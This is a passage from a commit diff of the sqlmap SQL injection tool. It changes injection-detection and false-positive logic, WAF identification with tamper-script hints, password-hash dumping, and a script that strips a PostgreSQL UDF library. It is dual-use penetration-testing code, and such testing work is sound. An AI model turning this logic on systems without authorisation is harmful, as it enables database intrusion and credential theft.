sed -i "s/.*lib\/core\/settings\.py/`md5sum sqlmap/lib/core/settings.py | cut -d ' ' -f 1` lib\/core\/settings\.py/g" sqlmap/txt/checksum.md5
for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done
python setup.py sdist upload
rm -rf $TMP_DIR
+15
View File
@@ -0,0 +1,15 @@
#!/bin/bash
# References: http://www.thegeekstuff.com/2012/09/strip-command-examples/
# http://www.muppetlabs.com/~breadbox/software/elfkickers.html
# https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html
# For example:
# python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_
# ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so
# python ../../../../../extra/cloak/cloak.py -i lib_postgresqludf_sys.so
# rm lib_postgresqludf_sys.so
strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag $*
sstrip $*
+3 -9
View File
@@ -48,9 +48,6 @@ def action():
elif kb.nullConnection:
errMsg += ". You can try to rerun without using optimization "
errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection")
else:
errMsg += ". Support for this DBMS will be implemented at "
errMsg += "some point"
raise SqlmapUnsupportedDBMSException(errMsg)
@@ -77,8 +74,7 @@ def action():
if conf.getPasswordHashes:
try:
conf.dumper.userSettings("database management system users password hashes",
conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
except SqlmapNoneDataException, ex:
logger.critical(ex)
except:
@@ -86,8 +82,7 @@ def action():
if conf.getPrivileges:
try:
conf.dumper.userSettings("database management system users privileges",
conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES)
conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES)
except SqlmapNoneDataException, ex:
logger.critical(ex)
except:
@@ -95,8 +90,7 @@ def action():
if conf.getRoles:
try:
conf.dumper.userSettings("database management system users roles",
conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES)
conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES)
except SqlmapNoneDataException, ex:
logger.critical(ex)
except:
+130 -54
View File
@@ -55,6 +55,7 @@ from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.enums import NOTE
from lib.core.enums import NULLCONNECTION
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
@@ -65,18 +66,22 @@ from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
from lib.core.settings import FI_ERROR_REGEX
from lib.core.settings import FORMAT_EXCEPTION_STRINGS
from lib.core.settings import HEURISTIC_CHECK_ALPHABET
from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
from lib.core.settings import IDS_WAF_CHECK_RATIO
from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import URI_HTTP_HEADER
from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.threads import getCurrentThreadData
from lib.request.connect import Connect as Request
from lib.request.comparison import comparison
from lib.request.inject import checkBooleanExpression
from lib.request.templates import getPageTemplate
from lib.techniques.union.test import unionTest
@@ -90,6 +95,13 @@ def checkSqlInjection(place, parameter, value):
# Localized thread data needed for some methods
threadData = getCurrentThreadData()
# Favoring non-string specific boundaries in case of digit-like parameter values
if value.isdigit():
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
boundaries = kb.cache.intBoundaries
else:
boundaries = conf.boundaries
# Set the flag for SQL injection test mode
kb.testMode = True
@@ -97,6 +109,9 @@ def checkSqlInjection(place, parameter, value):
tests = getSortedInjectionTests()
seenPayload = set()
kb.data.setdefault("randomInt", str(randomInt(10)))
kb.data.setdefault("randomStr", str(randomStr(10)))
while tests:
test = tests.pop(0)
@@ -142,6 +157,7 @@ def checkSqlInjection(place, parameter, value):
kb.testType = stype = test.stype
clause = test.clause
unionExtended = False
trueCode, falseCode = None, None
if stype == PAYLOAD.TECHNIQUE.UNION:
configUnion(test.request.char)
@@ -173,10 +189,11 @@ def checkSqlInjection(place, parameter, value):
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
__ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
unionExtended = True
test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
title = re.sub(r"\b%d\b" % _, str(2 * _), title)
test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
test.request.columns = re.sub(r"\b%d\b" % _, str(__), test.request.columns)
title = re.sub(r"\b%d\b" % _, str(__), title)
test.title = re.sub(r"\b%d\b" % _, str(__), test.title)
# Skip test if the user's wants to test only for a specific
# technique
@@ -303,12 +320,6 @@ def checkSqlInjection(place, parameter, value):
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
# Favoring non-string specific boundaries in case of digit-like parameter values
if value.isdigit():
boundaries = sorted(copy.deepcopy(conf.boundaries), key=lambda x: any(_ in (x.prefix or "") or _ in (x.suffix or "") for _ in ('"', '\'')))
else:
boundaries = conf.boundaries
for boundary in boundaries:
injectable = False
@@ -380,8 +391,6 @@ def checkSqlInjection(place, parameter, value):
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
kb.data.setdefault("randomInt", str(randomInt(10)))
kb.data.setdefault("randomStr", str(randomStr(10)))
if conf.invalidLogical:
_ = int(kb.data.randomInt[:2])
@@ -441,11 +450,13 @@ def checkSqlInjection(place, parameter, value):
kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage = threadData.lastComparisonPage or ""
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
# Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage = threadData.lastComparisonPage or ""
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
trueRawResponse = "%s%s" % (trueHeaders, truePage)
if trueResult and not(truePage == falsePage and not kb.nullConnection):
# Perform the test's False request
@@ -460,23 +471,58 @@ def checkSqlInjection(place, parameter, value):
errorResult = Request.queryPage(errorPayload, place, raise404=False)
if errorResult:
continue
infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (paramType, parameter, title)
logger.info(infoMsg)
elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
_ = comparison(kb.heuristicPage, None, getRatioValue=True)
if _ > kb.matchRatio:
kb.matchRatio = _
logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
injectable = True
if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable:
trueSet = set(extractTextTagContent(truePage))
falseSet = set(extractTextTagContent(falsePage))
candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage and _.strip() not in threadData.lastComparisonHeaders else None for _ in (trueSet - falseSet)))
if injectable:
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
if all((falseCode, trueCode)) and falseCode != trueCode:
conf.code = trueCode
if candidates:
conf.string = candidates[0]
infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg)
infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --code=%d)" % (paramType, parameter, title, conf.code)
logger.info(infoMsg)
else:
trueSet = set(extractTextTagContent(trueRawResponse))
trueSet = trueSet.union(__ for _ in trueSet for __ in _.split())
injectable = True
falseSet = set(extractTextTagContent(falseRawResponse))
falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet)))
if candidates:
candidates = sorted(candidates, key=lambda _: len(_))
for candidate in candidates:
if re.match(r"\A\w+\Z", candidate):
break
conf.string = candidate
infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg)
if not any((conf.string, conf.notString)):
candidates = filter(None, (_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet)))
if candidates:
candidates = sorted(candidates, key=lambda _: len(_))
for candidate in candidates:
if re.match(r"\A\w+\Z", candidate):
break
conf.notString = candidate
infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % (paramType, parameter, title, repr(conf.notString).lstrip('u').strip("'"))
logger.info(infoMsg)
if not any((conf.string, conf.notString, conf.code)):
infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title)
singleTimeLogMessage(infoMsg)
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
@@ -512,13 +558,20 @@ def checkSqlInjection(place, parameter, value):
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
trueCode = threadData.lastCode
if trueResult:
# Extra validation step (e.g. to check for DROP protection mechanisms)
if SLEEP_TIME_MARKER in reqPayload:
falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, "0"), place, timeBasedCompare=True, raise404=False)
if falseResult:
continue
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (paramType, parameter, title)
infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title)
logger.info(infoMsg)
injectable = True
@@ -538,7 +591,7 @@ def checkSqlInjection(place, parameter, value):
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it using option '--dbms'"
warnMsg += "explicitly set it with option '--dbms'"
singleTimeWarnMessage(warnMsg)
else:
Backend.forceDbms(kb.heuristicDbms)
@@ -624,9 +677,12 @@ def checkSqlInjection(place, parameter, value):
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.data[stype].trueCode = trueCode
injection.data[stype].falseCode = falseCode
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.code = conf.code
injection.conf.string = conf.string
injection.conf.notString = conf.notString
injection.conf.regexp = conf.regexp
@@ -691,19 +747,20 @@ def checkSqlInjection(place, parameter, value):
# Return the injection object
if injection.place is not None and injection.parameter is not None:
if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
warnMsg = "in OR boolean-based injections, please consider usage "
warnMsg = "in OR boolean-based injection cases, please consider usage "
warnMsg += "of switch '--drop-set-cookie' if you experience any "
warnMsg += "problems during data retrieval"
logger.warn(warnMsg)
injection = checkFalsePositives(injection)
if not injection:
if not checkFalsePositives(injection):
kb.vulnHosts.remove(conf.hostname)
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
else:
injection = None
if injection:
if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
checkSuhosinPatch(injection)
checkFilteredChars(injection)
@@ -748,7 +805,7 @@ def checkFalsePositives(injection):
Checks for false positives (only in single special cases)
"""
retVal = injection
retVal = True
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
(len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
@@ -774,7 +831,7 @@ def checkFalsePositives(injection):
break
if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)):
retVal = None
retVal = False
break
# Just in case if DBMS hasn't properly recovered from previous delayed request
@@ -782,22 +839,22 @@ def checkFalsePositives(injection):
checkBooleanExpression("%d=%d" % (randInt1, randInt2))
if checkBooleanExpression("%d=%d" % (randInt1, randInt3)): # this must not be evaluated to True
retVal = None
retVal = False
break
elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)): # this must not be evaluated to True
retVal = None
retVal = False
break
elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)): # this must be evaluated to True
retVal = None
retVal = False
break
elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement)
retVal = None
retVal = False
break
if retVal is None:
if not retVal:
warnMsg = "false positive or unexploitable injection point detected"
logger.warn(warnMsg)
@@ -885,6 +942,7 @@ def heuristicCheckSqlInjection(place, parameter):
payload = agent.payload(place, parameter, newValue=payload)
page, _ = Request.queryPage(payload, place, content=True, raise404=False)
kb.heuristicPage = page
kb.heuristicMode = False
parseFilePaths(page)
@@ -947,7 +1005,7 @@ def heuristicCheckSqlInjection(place, parameter):
infoMsg += "'%s' might be vulnerable to cross-site scripting attacks" % parameter
logger.info(infoMsg)
for match in re.finditer("(?i)[^\n]*(no such file|failed (to )?open)[^\n]*", page or ""):
for match in re.finditer(FI_ERROR_REGEX, page or ""):
if randStr1.lower() in match.group(0).lower():
infoMsg = "heuristic (FI) test shows that %s parameter " % paramType
infoMsg += "'%s' might be vulnerable to file inclusion attacks" % parameter
@@ -1013,12 +1071,22 @@ def checkDynamicContent(firstPage, secondPage):
logger.critical(warnMsg)
return
seqMatcher = getCurrentThreadData().seqMatcher
seqMatcher.set_seq1(firstPage)
seqMatcher.set_seq2(secondPage)
if firstPage and secondPage and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (firstPage, secondPage)):
ratio = None
else:
try:
seqMatcher = getCurrentThreadData().seqMatcher
seqMatcher.set_seq1(firstPage)
seqMatcher.set_seq2(secondPage)
ratio = seqMatcher.quick_ratio()
except MemoryError:
ratio = None
if ratio is None:
kb.skipSeqMatcher = True
# In case of an intolerable difference turn on dynamicity removal engine
if seqMatcher.quick_ratio() <= UPPER_RATIO_BOUND:
elif ratio <= UPPER_RATIO_BOUND:
findDynamicContent(firstPage, secondPage)
count = 0
@@ -1235,6 +1303,9 @@ def identifyWaf():
if not conf.identifyWaf:
return None
if not kb.wafFunctions:
setWafFunctions()
kb.testMode = True
infoMsg = "using WAF scripts to detect "
@@ -1258,7 +1329,7 @@ def identifyWaf():
kb.redirectChoice = popValue()
return page or "", headers or {}, code
retVal = False
retVal = []
for function, product in kb.wafFunctions:
try:
@@ -1272,22 +1343,24 @@ def identifyWaf():
found = False
if found:
retVal = product
break
errMsg = "WAF/IDS/IPS identified as '%s'" % product
logger.critical(errMsg)
retVal.append(product)
if retVal:
errMsg = "WAF/IDS/IPS identified '%s'. Please " % retVal
errMsg += "consider usage of tamper scripts (option '--tamper')"
logger.critical(errMsg)
message = "are you sure that you want to "
message += "continue with further target testing? [y/N] "
output = readInput(message, default="N")
if not conf.tamper:
warnMsg = "please consider usage of tamper scripts (option '--tamper')"
singleTimeWarnMessage(warnMsg)
if output and output[0] not in ("Y", "y"):
raise SqlmapUserQuitException
else:
warnMsg = "no WAF/IDS/IPS product has been identified (this doesn't mean that there is none)"
warnMsg = "WAF/IDS/IPS product hasn't been identified"
logger.warn(warnMsg)
kb.testType = None
@@ -1315,7 +1388,7 @@ def checkNullConnection():
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
kb.nullConnection = NULLCONNECTION.HEAD
infoMsg = "NULL connection is supported with HEAD header"
infoMsg = "NULL connection is supported with HEAD method (Content-Length)"
logger.info(infoMsg)
else:
page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
@@ -1323,7 +1396,7 @@ def checkNullConnection():
if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
kb.nullConnection = NULLCONNECTION.RANGE
infoMsg = "NULL connection is supported with GET header "
infoMsg = "NULL connection is supported with GET method (Range)"
infoMsg += "'%s'" % kb.nullConnection
logger.info(infoMsg)
else:
@@ -1411,3 +1484,6 @@ def checkConnection(suppressOutput=False):
def setVerbosity(): # Cross-linked function
raise NotImplementedError
def setWafFunctions(): # Cross-linked function
raise NotImplementedError
+40 -29
View File
@@ -45,6 +45,7 @@ from lib.core.enums import CONTENT_TYPE
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import HTTPMETHOD
from lib.core.enums import NOTE
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.exception import SqlmapBaseException
@@ -225,23 +226,23 @@ def _saveToResultsFile():
results = {}
techniques = dict(map(lambda x: (x[1], x[0]), getPublicTypeMembers(PAYLOAD.TECHNIQUE)))
for inj in kb.injections:
if inj.place is None or inj.parameter is None:
for injection in kb.injections + kb.falsePositives:
if injection.place is None or injection.parameter is None:
continue
key = (inj.place, inj.parameter)
key = (injection.place, injection.parameter, ';'.join(injection.notes))
if key not in results:
results[key] = []
results[key].extend(inj.data.keys())
results[key].extend(injection.data.keys())
for key, value in results.items():
place, parameter = key
line = "%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), os.linesep)
place, parameter, notes = key
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), notes, os.linesep)
conf.resultsFP.writelines(line)
if not results:
line = "%s,,,%s" % (conf.url, os.linesep)
line = "%s,,,,%s" % (conf.url, os.linesep)
conf.resultsFP.writelines(line)
def start():
@@ -463,7 +464,7 @@ def start():
infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter)
logger.info(infoMsg)
elif parameter in conf.skip:
elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
testSqlInj = False
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
@@ -520,24 +521,31 @@ def start():
injection = checkSqlInjection(place, parameter, value)
proceed = not kb.endDetection
injectable = False
if getattr(injection, "place", None) is not None:
kb.injections.append(injection)
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
kb.falsePositives.append(injection)
else:
injectable = True
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
kb.injections.append(injection)
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
test = readInput(msg, default="N")
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
if test[0] not in ("y", "Y"):
proceed = False
paramKey = (conf.hostname, conf.path, None, None)
kb.testedParams.add(paramKey)
else:
warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
test = readInput(msg, default="N")
if test[0] not in ("y", "Y"):
proceed = False
paramKey = (conf.hostname, conf.path, None, None)
kb.testedParams.add(paramKey)
if not injectable:
warnMsg = "%s parameter '%s' does not seem to be " % (paramType, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
@@ -585,24 +593,24 @@ def start():
if not conf.string and not conf.notString and not conf.regexp:
errMsg += " Also, you can try to rerun by providing "
errMsg += "either a valid value for option '--string' "
errMsg += "(or '--regexp')"
errMsg += "(or '--regexp')."
elif conf.string:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--string' as perhaps the string you "
errMsg += "have chosen does not match "
errMsg += "exclusively True responses"
errMsg += "exclusively True responses."
elif conf.regexp:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--regexp' as perhaps the regular "
errMsg += "expression that you have chosen "
errMsg += "does not match exclusively True responses"
errMsg += "does not match exclusively True responses."
if not conf.tamper:
errMsg += " If you suspect that there is some kind of protection mechanism "
errMsg += "involved (e.g. WAF) maybe you could retry "
errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')"
raise SqlmapNotVulnerableException(errMsg)
raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
else:
# Flush the flag
kb.testMode = False
@@ -651,6 +659,8 @@ def start():
errMsg = getSafeExString(ex)
if conf.multipleTargets:
_saveToResultsFile()
errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
logger.error(errMsg)
else:
@@ -669,9 +679,10 @@ def start():
if kb.dataOutputFlag and not conf.multipleTargets:
logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
if conf.multipleTargets and conf.resultsFilename:
infoMsg = "you can find results of scanning in multiple targets "
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
logger.info(infoMsg)
if conf.multipleTargets:
if conf.resultsFilename:
infoMsg = "you can find results of scanning in multiple targets "
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
logger.info(infoMsg)
return True
+9 -1
View File
@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission
from lib.core.common import Backend
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.dicts import DBMS_DICT
from lib.core.enums import DBMS
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import INFORMIX_ALIASES
from lib.utils.sqlalchemy import SQLAlchemy
from plugins.dbms.mssqlserver import MSSQLServerMap
@@ -45,6 +47,8 @@ from plugins.dbms.db2 import DB2Map
from plugins.dbms.db2.connector import Connector as DB2Conn
from plugins.dbms.hsqldb import HSQLDBMap
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
from plugins.dbms.informix import InformixMap
from plugins.dbms.informix.connector import Connector as InformixConn
def setHandler():
"""
@@ -64,6 +68,7 @@ def setHandler():
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
]
_ = max(_ if (Backend.getIdentifiedDbms() or "").lower() in _[1] else None for _ in items)
@@ -101,7 +106,10 @@ def setHandler():
conf.dbmsConnector.connect()
if handler.checkDbms():
conf.dbmsHandler = handler
if kb.resolutionDbms:
conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
else:
conf.dbmsHandler = handler
break
else:
conf.dbmsConnector = None
+32 -28
View File
@@ -43,6 +43,7 @@ from lib.core.settings import GENERIC_SQL_COMMENT
from lib.core.settings import NULL
from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import REPLACEMENT_MARKER
from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.unescaper import unescaper
class Agent(object):
@@ -102,7 +103,7 @@ class Agent(object):
if place == PLACE.URI:
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
else:
origValue = re.search(r"\w+\Z", origValue.split(BOUNDED_INJECTION_MARKER)[0]).group(0)
origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':'):
if char in origValue:
@@ -120,7 +121,7 @@ class Agent(object):
elif place == PLACE.CUSTOM_HEADER:
paramString = origValue
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
origValue = origValue[origValue.index(',') + 1:]
origValue = origValue[origValue.find(',') + 1:]
match = re.search(r"([^;]+)=(?P<value>[^;]+);?\Z", origValue)
if match:
origValue = match.group("value")
@@ -168,7 +169,7 @@ class Agent(object):
retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
_ = "%s%s" % (origValue, BOUNDED_INJECTION_MARKER)
retVal = "%s=%s" % (parameter, paramString.replace(_, self.addPayloadDelimiters(newValue)))
retVal = "%s=%s" % (re.sub(r" (\#\d\*|\(.+\))\Z", "", parameter), paramString.replace(_, self.addPayloadDelimiters(newValue)))
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
else:
@@ -281,7 +282,7 @@ class Agent(object):
where = kb.injection.data[kb.technique].where if where is None else where
comment = kb.injection.data[kb.technique].comment if comment is None else comment
if Backend.getIdentifiedDbms() == DBMS.ACCESS and "--" in (comment or ""):
if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
comment = queries[DBMS.ACCESS].comment.query
if comment is not None:
@@ -343,7 +344,7 @@ class Agent(object):
"""
if payload:
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
return payload
@@ -486,7 +487,7 @@ class Agent(object):
@rtype: C{str}
"""
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT \d+)\s+\d+)*"
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
@@ -507,26 +508,26 @@ class Agent(object):
if fieldsSubstr:
fieldsToCastStr = query
elif fieldsMinMaxstr:
fieldsToCastStr = fieldsMinMaxstr.groups()[0]
fieldsToCastStr = fieldsMinMaxstr.group(1)
elif fieldsExists:
if fieldsSelect:
fieldsToCastStr = fieldsSelect.groups()[0]
fieldsToCastStr = fieldsSelect.group(1)
elif fieldsSelectTop:
fieldsToCastStr = fieldsSelectTop.groups()[0]
fieldsToCastStr = fieldsSelectTop.group(1)
elif fieldsSelectRownum:
fieldsToCastStr = fieldsSelectRownum.groups()[0]
fieldsToCastStr = fieldsSelectRownum.group(1)
elif fieldsSelectDistinct:
if Backend.getDbms() in (DBMS.HSQLDB,):
fieldsToCastStr = fieldsNoSelect
else:
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
fieldsToCastStr = fieldsSelectDistinct.group(1)
elif fieldsSelectCase:
fieldsToCastStr = fieldsSelectCase.groups()[0]
fieldsToCastStr = fieldsSelectCase.group(1)
elif fieldsSelectFrom:
fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr)
elif fieldsSelect:
fieldsToCastStr = fieldsSelect.groups()[0]
fieldsToCastStr = fieldsSelect.group(1)
# Function
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
@@ -667,24 +668,23 @@ class Agent(object):
concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
else:
warnMsg = "applying generic concatenation with double pipes ('||')"
warnMsg = "applying generic concatenation (CONCAT)"
singleTimeWarnMessage(warnMsg)
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
concatenatedQuery += ")||'%s'" % kb.chars.stop
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
